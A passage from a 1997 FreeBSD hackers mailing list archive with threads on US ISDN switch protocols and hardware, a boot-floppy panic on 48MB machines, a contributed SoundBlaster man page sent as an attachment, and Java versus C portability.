193.101.57.253: icmp_seq=1 ttl=60 time=36.388 ms 64 bytes from 193.101.57.253: icmp_seq=2 ttl=60 time=36.506 ms 64 bytes from 193.101.57.253: icmp_seq=3 ttl=60 time=36.469 ms ^C --- ifb-gw2.interface-business.de ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 36.388/36.446/36.506 ms Unfortunately, the ISDN landscape in the US is different from Europe. Your Telco's didn't even decide for a single switch protocol yet, nor do they market ISDN as *I*SDN. In the result, you are left alone to buy your network terminator, leading to a situation where most ISDN hardware sold in the US AFAIK is being sold with a builtin NT (thereby defeating the idea of an integrated service, with voice and data connections over the same wire). The cards currently supported by BISDN do IMHO not ship with this feature (remember, these cards are in the region of DEM 100...150, i.e. USD 60...90 -- the NT itself is a multiple of this), nor has anybody volunteered yet to write the protocol layers for your switch protocols. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 16:02:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA19392 for hackers-outgoing; Sat, 9 Aug 1997 16:02:12 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA19376 for ; Sat, 9 Aug 1997 16:02:05 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wxKWI-000o7UC; Sun, 10 Aug 97 01:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Sun, 10 Aug 1997 00:10:38 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for freebsd-hackers@freebsd.org; Sun, 10 Aug 1997 00:03:48 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: ISDN drivers/cards In-Reply-To: from "Jamil J. Weatherbee" at "Aug 9, 97 11:12:17 am" To: freebsd-hackers@freebsd.org Date: Sun, 10 Aug 1997 00:03:48 +0200 (CEST) Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jamil J. Weatherbee wrote: [...] > actually my idea would be an internal card that > looks like an ne2000.. Maybye it already exists for use in the US but I > have not been able to find any. This would be nice. Even the cards which are emulating an UART are nice. The real drawback is, that you can use such cards for nothing but data transfer. But ISDN allows you to do zillions of other applications, and i'd like - at least - to be able to explore and use them, what i can't with a card emulating a ne2000. The only alternative to an ISDN card - as i see it - is a nice concept, the concept of a "virtual CAPI": an ISDN router you can talk TCP/IP to and where you can access this virtual CAPI by talking to a special port, then all you have to do to do i.e. telephony is to put CAPI messages into IP packets and you can telephone over the router. One manufacturer of such device is Bintec (i'm in no way affiliated with them, not even as a customer), look at www.bintec.de to get an impression (i think they even support the US ISDN protocols). And if anybody now asks what a CAPI is, have a look at www.capi.org. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Sat Aug 9 16:21:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20116 for hackers-outgoing; Sat, 9 Aug 1997 16:21:32 -0700 (PDT) Received: from citrine.cyberstation.net (hannibal@citrine.cyberstation.net [205.167.0.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20109 for ; Sat, 9 Aug 1997 16:21:29 -0700 (PDT) Received: from localhost (hannibal@localhost) by citrine.cyberstation.net (8.8.5/8.8.5) with SMTP id SAA02298 for ; Sat, 9 Aug 1997 18:21:28 -0500 (CDT) Date: Sat, 9 Aug 1997 18:21:27 -0500 (CDT) From: Dan Walters To: hackers@freebsd.org Subject: Problem with newer installation disks? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I was trying to install a snapshot off releng22.freebsd.org a couple weeks ago on one of our office machines, but got a "panic: double fault" message at the end of the boot process. I figured it was probably bad RAM or something and said forget it, but then a co-worker managed to sneak a copy of Linux in on me and it worked fine... So today I am installing 2.2.2 on a different machine up here, and first I tried the boot.flp in the floppies/newer directory, and came up with the same error message. When I used the regular boot.flp in the floppies directory, it came up OK. So, has anyone else noticed any problems with the newer floppies? I'll see if it applies to the RELENG_2_2 kernel in general here in a bit, but it seems kinda odd that it would happen on 2 different machines. Neither one is exactly great, both just sloppily thrown together P133s. Thanks, ====================================================================== Dan Walters hannibal@cyberstation.net ====================================================================== From owner-freebsd-hackers Sat Aug 9 16:26:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20253 for hackers-outgoing; Sat, 9 Aug 1997 16:26:09 -0700 (PDT) Received: from mom.hooked.net (root@mom.hooked.net [206.80.6.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20247 for ; Sat, 9 Aug 1997 16:26:06 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@pm3-ppp34.well.com [206.15.85.34]) by mom.hooked.net (8.8.5/8.8.5) with SMTP id QAA26618 for ; Sat, 9 Aug 1997 16:26:03 -0700 (PDT) Date: Sat, 9 Aug 1997 16:26:12 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: freebsd-hackers@freeBSD.ORG Subject: sb(4) man page Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1063255115-871169172=:6180" Sender: owner-freebsd-hackers@freeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1063255115-871169172=:6180 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, I noticed that there was no man page for the sound blaster, so I cut and pasted some things from the various sound driver sources, and came up with something I hope is fairly accurate and worth including. Hope ya'll don't mind the smallish attachment. - alex --0-1063255115-871169172=:6180 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="sb.4" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: LlwiIE1hbiBwYWdlIGZvciB0aGUgU291bmRCbGFzdGVyIGRyaXZlcg0KLlwi DQouXCIgQ29weXJpZ2h0IChjKSAxOTk3LCBBbGV4IFplcGVkYS4NCi5cIg0K LlwiIFRoaXMgZG9jdW1lbnRhdGlvbiBpcyBwdWJsaWMgZG9tYWluLCBhbmQg aXMgcHJvdmlkZWQgd2l0aG91dCB3YXJyYW50eS4NCi5cIiBBbGV4IFplcGVk YSwgdGhlICJhdXRob3IiIG9mIHRoaXMgcGFnZSBpcyBub3QgcmVzcG9zaWJs ZSBmb3IgYW55DQouXCIgY29uc2VxdWVuY2VzIG9mIGFueSBzb3J0IG9mIG1h bmlwdWxhdGlvbiBvZiB0aGlzIGRvY3VtZW50Lg0KLlwiIA0KLlwiIFNvdW5k Qmxhc3RlciBhbmQgYW55IHBocmFzZXMgaW5jbHVkaW5nIGl0J3MgbmFtZSBh cmUgY29weXJpZ2h0DQouXCIgQ3JlYXRpdmUgTGFicywgbm90IG1lLg0KLlwi IA0KLlwiIGFsZXghQGJpZ2Zvb3QuY29tDQouXCINCi5EZCBBdWd1c3QgOSwg MTk5Nw0KLkR0IFNCIDQgaTM4Ng0KLk9zIEZyZWVCU0QNCi5TaCBOQU1FDQou Tm0gc2INCi5OZCBDcmVhdGl2ZSBMYWJzIFNvdW5kIEJsYXN0ZXIgYW5kIGNv bXBhdGFibGUgZGV2aWNlIGRyaXZlcg0KLlNoIFNZTk9QU0lTDQpGb3IgYWxs IHNvdW5kIGNhcmRzIHN1cHBvcnRlZCB3aXRoIHRoZSBzYiBkcml2ZXIgdGhp cyBpcyBuZWVkZWQ6DQouQ2QgY29udHJvbGxlciBzbmQwDQouUHANCkZvciB0 aGUgU291bmRCbGFzdGVyLCBTQiBQcm8sIFNvdW5kQmxhc3RlcjE2LCBvciB0 aGUgUHJvIEF1ZGlvIFNwZWN0cnVtDQogIChlbXVsYXRpbmcgU0IpOg0KLkNk ICJkZXZpY2Ugc2IwIGF0IGlzYT8gcG9ydCAweDIyMCBpcnEgNyBkcnEgMSB2 ZWN0b3Igc2JpbnRyIg0KLlBwDQpGb3Igc3BlY2lmaWMgU0IxNiBzdXBwb3J0 Og0KLkNkICJkZXZpY2Ugc2J4dmkwIGF0IGlzYT8gZHJxIDUiDQouUHANCkZv ciBTb3VuZEJsYXN0ZXIgMTYgMTYgYml0IE1JREkgc3VwcG9ydDoNCi5DZCAi ZGV2aWNlIHNibWlkaTAgYXQgaXNhPyBwb3J0IDB4MzAwIg0KLlBwDQpUbyBh ZGQgSmF6ejE2IHN1cG9ydDoNCi5DZCAib3B0aW9ucyBKQVpaMTYiDQouUHAN ClRvIGFkZCBzdXBwb3J0IGZvciB0aGUgTG9naXRlY2ggU291bmRNYW4gR2Ft ZXM6DQouQ2QgIm9wdGlvbnMgU01fR0FNRVMiDQouUHANClRvIGFkZCBTRyBO WCBQcm8gbWl4ZXIgc3VwcG9ydDoNCi5DZCAib3B0aW9ucyBfX1NHTlhQUk9f XyINCi5QcA0KVGhlIE9QTC0yLzMgaXMgdXNlZCBpbiB0aGUgU291bmRCbGFz dGVyLCBTb3VuZEJsYXN0ZXIgUHJvLCBTQiAxNiwgYW5kIHRoZQ0KUHJvIEF1 ZGlvIFNwZWN0cnVtLiBGb3IgWWFtYWhhIE9QTC0yL09QTC0zIEZNIHN1cHBv cnQ6DQouQ2QgImRldmljZSBvcGwwICBhdCBpc2E/IHBvcnQgMHgzODgiDQou U2ggREVTQ1JJUFRJT04NClRoaXMgZHJpdmVyIGNvdmVycyB0aGUgU291bmRC bGFzdGVyIGZhbWlseSBvZiBjYXJkcyBpbmNsdWRpbmcgdGhlDQpTb3VuZEJs YXN0ZXIgMS4wIHRvIHRoZSBTb3VuZEJsYXN0ZXIgMTYvU291bmRCbGFzdGVy IDMyLiAgVGhlIGF3ZSBkcml2ZXINCnByb3ZpZGVzIEFXRTMyLzY0IGZ1bmN0 aW9uYWxpdHkuICBUaGlzIGRyaXZlciBpcyBwcm92aWVkIGluIEZyZWVCU0QN CnZlcnNpb25zIDIuMC1jdXJyZW50IHRocm91Z2ggMy4wLWN1cnJlbnQuICBZ b3UgY2FuIGFsc28gY29uZmlndXJlIG1vcmUNCnRoZW4gb25lIGNhcmQgb24g YSBzaW5nbGUgRE1BIHVzaW5nIHRoZSBjb25mbGljdHMga2V5d29yZCBpbiB5 b3VyDQpjb25maWd1cmF0aW9uIGZpbGUuICBUaGlzIGlzIHVzZWZ1bCBmb3Ig Ym9hcmRzIHdpdGggbW9yZSB0aGVuIG9uZSB0eXBlIG9mDQplbXVsYXRpb24u DQouU2ggQlVHUw0KU2luY2UgdGhlIFNCMTYgdXNlcyB0aGUgc2FtZSBJUlEg YW5kIGFkZHJlc3NlcyBmb3INCnRoZSBkaWZmZXJlbnQgZHJpdmVycywgc29t ZSBvZiB0aGUgc25kIGRyaXZlcnMgd2lsbCBub3QgYmUgcHJvYmVkIGJlY2F1 c2UNCnRoZSBrZXJuZWwgdGhpbmtzIHRoZXJlIGlzIGEgY29uZmxpY3QuICBU aGlzIGNhbiBiZSB3b3JrZWQtYXJvdW5kIGJ5DQp1c2luZyB0aGUgImNvbmZs aWN0cyIga2V5d29yZCBvbiB0aGUgc2IxNidzIGRldmljZSBsaW5lLg0KLlBw DQpDdXJyZW50IHZlcnNpb24gZG9lc24ndCBzdXBwb3J0IG1vZGUgY2hhbmdl cyB3aXRob3V0IGNsb3NpbmcgYW5kIHJlb3BlbmluZw0KdGhlIGRldmljZS4g U3VwcG9ydCBmb3IgdGhpcyBmZWF0dXJlIG1heSBiZSBpbXBsZW1lbnRlZCBp biBhIGZ1dHVyZQ0KdmVyc2lvbiBvZiB0aGlzIGRyaXZlci4NCi5TaCBTRUUg QUxTTw0KY2Rjb250cm9sKDEpLCAgY2RwbGF5KDEpLCAgbWl4ZXIoOCkNCi5T aCBBVVRIT1JTDQpUaGUgb3JpZ2luYWwgU291bmRCbGFzdGVyIERTUCBhbmQg U291bmRCbGFzdGVyIDE2IE1JREksIGFuZCBZYW1haGEgT1BMLTMgIA0KZHJp dmVycyB3ZXJlIHdyaXR0ZW4gYnkgSGFubnUgU2F2b2xhaW5lbi4gIFRoZSBT b3VuZEJsYXN0ZXIgMTYgRFNQIGNvZGUNCndhcyB3cml0dGVuIGJ5IEouIFNj aHViZXIgKGpzYkBzdGgucnVoci11bmktYm9jaHVtLmRlKS4gIEltcHJvdm1l bnRzIHRvDQp0aGUgT1BMLTMgZHJpdmVycyB3ZXJlIG1hZGUgYnkgUm9iIEhv b2Z0IChob29mdEBjaGVtLnJ1dS5ubCkNCi5TaCBISVNUT1JZDQpTb3VuZCBH YWxheHkgTlggUHJvIHN1cHBvcnQgYWRkZWQgYnkgSHVueXVlIFlhdSAoSmFu IDYgMTk5NCkuICBNVg0KUHJvU29uaWMvSmF6eiAxNiAxNmJpdCBzdXBwb3J0 IGFkZGVkIGJ5IEpSQSBHaWJzb24gKEFwcmlsIDE5OTUpLiAgQXVkaW8NCkV4 Y2VsIERTUCAxNiBzdXBwb3J0IGFkZGVkIGJ5IFJpY2NhcmRvIEZhY2NoZXR0 aSAoTWFyY2ggMjQgMTk5NSkuDQo= --0-1063255115-871169172=:6180-- From owner-freebsd-hackers Sat Aug 9 16:39:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20815 for hackers-outgoing; Sat, 9 Aug 1997 16:39:09 -0700 (PDT) Received: from wakky.dyn.ml.org (lee@1Cust39.max6.washington2.dc.ms.uu.net [153.34.2.167]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20810 for ; Sat, 9 Aug 1997 16:39:04 -0700 (PDT) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id TAA04375; Sat, 9 Aug 1997 19:37:25 -0400 (EDT) Message-ID: <19970809193724.42698@wakky.dyn.ml.org> Date: Sat, 9 Aug 1997 19:37:24 -0400 From: Lee Cremeans To: Dan Walters Cc: hackers@freebsd.org Subject: Re: Problem with newer installation disks? Reply-To: hcremean@vt.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: ; from Dan Walters on Sat, Aug 09, 1997 at 06:21:27PM -0500 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, Aug 09, 1997 at 06:21:27PM -0500, Dan Walters wrote: > I was trying to install a snapshot off releng22.freebsd.org a couple weeks > ago on one of our office machines, but got a "panic: double fault" message > at the end of the boot process. I figured it was probably bad RAM or > something and said forget it, but then a co-worker managed to sneak a copy > of Linux in on me and it worked fine... Does your machine have 48MB of RAM in it, per chance? There's a bug in the 2.2.2 boot floppy that makes it panic on that configuration. Try going down to 32MB or up to 64MB to get around it. -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD++^i WK+++r P&B++ SL+++^i GDF- B&M KK--i MD+++i P++ I++++ Di $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Sat Aug 9 16:45:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA21069 for hackers-outgoing; Sat, 9 Aug 1997 16:45:14 -0700 (PDT) Received: from citrine.cyberstation.net (hannibal@citrine.cyberstation.net [205.167.0.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA21064 for ; Sat, 9 Aug 1997 16:45:10 -0700 (PDT) Received: from localhost (hannibal@localhost) by citrine.cyberstation.net (8.8.5/8.8.5) with SMTP id SAA03433; Sat, 9 Aug 1997 18:45:07 -0500 (CDT) Date: Sat, 9 Aug 1997 18:45:07 -0500 (CDT) From: Dan Walters To: hcremean@vt.edu cc: hackers@freebsd.org Subject: Re: Problem with newer installation disks? In-Reply-To: <19970809193724.42698@wakky.dyn.ml.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Both have 48MB, I believe. I guess that may explain it. :) As long as someone knows about it, it doesn't bother me any. Thanks, ====================================================================== Dan Walters hannibal@cyberstation.net ====================================================================== On Sat, 9 Aug 1997, Lee Cremeans wrote: > On Sat, Aug 09, 1997 at 06:21:27PM -0500, Dan Walters wrote: > > I was trying to install a snapshot off releng22.freebsd.org a couple weeks > > ago on one of our office machines, but got a "panic: double fault" message > > at the end of the boot process. I figured it was probably bad RAM or > > something and said forget it, but then a co-worker managed to sneak a copy > > of Linux in on me and it worked fine... > > Does your machine have 48MB of RAM in it, per chance? There's a bug in > the 2.2.2 boot floppy that makes it panic on that configuration. Try > going down to 32MB or up to 64MB to get around it. > > -- > Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) > A! JW223 YWD++^i WK+++r P&B++ SL+++^i GDF- B&M KK--i MD+++i P++ I++++ Di > $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu > FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) > My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code > From owner-freebsd-hackers Sat Aug 9 16:57:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA21498 for hackers-outgoing; Sat, 9 Aug 1997 16:57:16 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA21480 for ; Sat, 9 Aug 1997 16:57:12 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxLMB-00014i-00; Sat, 9 Aug 1997 16:55:39 -0700 Date: Sat, 9 Aug 1997 16:55:39 -0700 (PDT) From: Tom Samplonius To: Joerg Wunsch cc: hackers@freebsd.org, "Jamil J. Weatherbee" Subject: Re: ISDN drivers/cards In-Reply-To: <19970809212459.FE61477@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 9 Aug 1997, J Wunsch wrote: ... > Unfortunately, the ISDN landscape in the US is different from Europe. > Your Telco's didn't even decide for a single switch protocol yet, nor > do they market ISDN as *I*SDN. In the result, you are left alone to NI-1 is standard. I place the blame for non-NI-1 on the switch manufactures. DMS-100 is close, but not quite. AT&T ISDN is just weird. > buy your network terminator, leading to a situation where most ISDN > hardware sold in the US AFAIK is being sold with a builtin NT (thereby > defeating the idea of an integrated service, with voice and data > connections over the same wire). The cards currently supported by This seems to be a feature to me. I also don't understand how including the NT1 defeats the dual analog and digital use of ISDN. I've used BRI devices with an external NT1, and hated them, and I certainly don't see how an external NT1 helps me get dual use. The 3COM Impact II, with integrated NT1, and dual POTS jacks is a much better idea. > BISDN do IMHO not ship with this feature (remember, these cards are in > the region of DEM 100...150, i.e. USD 60...90 -- the NT itself is a > multiple of this), nor has anybody volunteered yet to write the > protocol layers for your switch protocols. Well, the 3COM Impact II is about $250 to $300 US. It is external serial device, but can handle up to 230400 bps on the serial port (unfortunately, it doesn't seem that FreeBSD can do that). It includes an NT1, and two POTS jacks. The POTS jacks have a programmable ringing configuration (either not at all, for A, for B, or for both). It can be setup for call bumping, so it automatically bring down a channel when an voice call is incoming. > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) > > Tom From owner-freebsd-hackers Sat Aug 9 17:28:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA22692 for hackers-outgoing; Sat, 9 Aug 1997 17:28:54 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA22686 for ; Sat, 9 Aug 1997 17:28:51 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id TAA05009; Sat, 9 Aug 1997 19:28:07 -0500 (EST) From: "John S. Dyson" Message-Id: <199708100028.TAA05009@dyson.iquest.net> Subject: Re: ISDN drivers/cards In-Reply-To: from Tom Samplonius at "Aug 9, 97 04:55:39 pm" To: tom@sdf.com (Tom Samplonius) Date: Sat, 9 Aug 1997 19:28:07 -0500 (EST) Cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG, jamil@counterintelligence.ml.org Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On Sat, 9 Aug 1997, J Wunsch wrote: > > ... > > Unfortunately, the ISDN landscape in the US is different from Europe. > > Your Telco's didn't even decide for a single switch protocol yet, nor > > do they market ISDN as *I*SDN. In the result, you are left alone to > > NI-1 is standard. I place the blame for non-NI-1 on the switch > manufactures. DMS-100 is close, but not quite. AT&T ISDN is just weird. > I was involved/tracking the various ISDN standards. NI-1 is pathetic, mostly due to the non-AT&T switch manufacturers very lame implementations. Other switch manufacturers have been holding back progress. NI-2 is better, but still not up to the level of AT&T-custom ISDN in a few areas. Features are just beginning to appear that AT&T has had for years. As I have heard, the NT, etc switches still can't deal with new upcoming ISDN standards (and still have quality of implementation issues.) Note that AT&T also does support NI-1 as well as it's own (original, relatively full featured) implementation. John From owner-freebsd-hackers Sat Aug 9 17:32:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA22892 for hackers-outgoing; Sat, 9 Aug 1997 17:32:37 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA22887 for ; Sat, 9 Aug 1997 17:32:35 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 13747 on Sun, 10 Aug 1997 00:32:33 GMT; id AAA13747 efrom: peter@grendel.IAEhv.nl; eto: hackers@FreeBSD.ORG Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id CAA00778; Sun, 10 Aug 1997 02:24:19 +0200 (CEST) Message-ID: <19970810022419.58644@grendel.IAEhv.nl> Date: Sun, 10 Aug 1997 02:24:19 +0200 From: Peter Korsten To: hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: ; from Alfred Perlstein on Sat, Aug 09, 1997 at 11:19:14AM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (If anyone decides to follow-up on this, be so kind as to edit your headers. No need for me to receive mail twice in two different mailboxes.) Alfred Perlstein shared with us: > > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. In essence, no computer language is tied to a specific platform. Every computer with Basic (which is about every computer) can do this: 10 PRINT "Hello, world!" 20 GOTO 20 The trouble comes, when you want something more than the standard offers. With C, C++ and about everything before that, you can open files, read from them and write to them. Perhaps allocate a bit of memory, but after that it's every compiler for itself. Some languages offers concurrency (more or less) or are excellent to fly an F-16 with, but graphics is something that remained out of the picture so far, possibly because GUI's didn't really get into swing before MS-Windows 3.0. (That there were Amiga's, Atari's, Macs and earlier versions of Windows back in '85 doesn't change that.) The fact that Java needs less hacking to be gotten to work on another platform is because the standard includes GUI's, some sound and network connections. At the moment (and mind that: at this moment) that's enough to get it to work on any platform you'd wish. But, as soon as this standard leaves things to be desired, Sun better put those in a standard, or else the same thing will happen to Java as has happened to about any other language: divergation. > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? Well, because that's what Sun's standard says. It remains to be seen if this will stay so in the future, because Microsoft can be a big influence. If MS says that Java is to be compiled into executable code (and thus, that it runs faster on MS-platforms, even compared to a just-in-time compiler), you can bet that the rest will follow. They'll have to. BTW, someone asked (not seriously), why not rewrite the whole kernel in Java. Though hardly feasible, the idea isn't that silly as it may sound. Java does have it's advantages. It's a simple language, at least a heckuva lot simpler than C++, so Joe Programmer is less likely to mess up. It does bounds checking (I want sendmail rewritten in Java) and it's object-oriented. I suspect that a lot of Netscape Communicator is written in Java (but that's just a hunch). Personally, I prefer C++ over Java, because I find the simplicity a bit stiffling. But it's definately more than just a fancy scroll text and watch-my-pictures-light-up tool. Forget the AWT and look at the actual language. - Peter From owner-freebsd-hackers Sat Aug 9 17:43:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23295 for hackers-outgoing; Sat, 9 Aug 1997 17:43:05 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA23288; Sat, 9 Aug 1997 17:43:00 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxM4R-00015u-00; Sat, 9 Aug 1997 17:41:23 -0700 Date: Sat, 9 Aug 1997 17:41:23 -0700 (PDT) From: Tom Samplonius To: dyson@freebsd.org cc: joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org, jamil@counterintelligence.ml.org Subject: Re: ISDN drivers/cards In-Reply-To: <199708100028.TAA05009@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 9 Aug 1997, John S. Dyson wrote: > > On Sat, 9 Aug 1997, J Wunsch wrote: > > > > ... > > > Unfortunately, the ISDN landscape in the US is different from Europe. > > > Your Telco's didn't even decide for a single switch protocol yet, nor > > > do they market ISDN as *I*SDN. In the result, you are left alone to > > > > NI-1 is standard. I place the blame for non-NI-1 on the switch > > manufactures. DMS-100 is close, but not quite. AT&T ISDN is just weird. > > > I was involved/tracking the various ISDN standards. NI-1 is pathetic, mostly > due to the non-AT&T switch manufacturers very lame implementations. Other > switch manufacturers have been holding back progress. NI-2 is better, but I'm aware of anyone using NI-2 on BRI. I'm pretty sure NI-2 is only for PRI. I'm not aware of any end-user device that can do NI-2 on BRI either. > still not up to the level of AT&T-custom ISDN in a few areas. Features are > just beginning to appear that AT&T has had for years. As I have heard, the > NT, etc switches still can't deal with new upcoming ISDN standards (and still > have quality of implementation issues.) Note that AT&T also does support NI-1 > as well as it's own (original, relatively full featured) implementation. I'm not sure what lacking features you are refering to. I know there are a lot of flexibilty problems, like being able to pu POTS lines and PRIs under the same pilot number. I'm not sure how difficult this can be, as GTE has gotten their ancient GDT-5 switch talking NI-2 too. > John Tom From owner-freebsd-hackers Sat Aug 9 17:44:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23392 for hackers-outgoing; Sat, 9 Aug 1997 17:44:35 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23387 for ; Sat, 9 Aug 1997 17:44:33 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id RAA04984; Sat, 9 Aug 1997 17:40:54 -0700 (PDT) To: "Jamil J. Weatherbee" cc: Alfred Perlstein , hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? In-reply-to: Your message of "Sat, 09 Aug 1997 11:05:41 PDT." Date: Sat, 09 Aug 1997 17:40:54 -0700 Message-ID: <4980.871173654@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > What do you plan on "hacking" in java -- hell why don't we just rewrite > the entire kernel in java. Uh, can we keep the "messages from space" down to a minimum, please? I think I've heard the last crackpot message I want to from Jamil, and this kind of correspondence does nothing to enhance the effectiveness of this mailing list. Wacko suggestions to freebsd-chat, please. Thank you. Jordan From owner-freebsd-hackers Sat Aug 9 17:45:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23436 for hackers-outgoing; Sat, 9 Aug 1997 17:45:16 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23429 for ; Sat, 9 Aug 1997 17:45:12 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id TAA05009; Sat, 9 Aug 1997 19:28:07 -0500 (EST) From: "John S. Dyson" Message-Id: 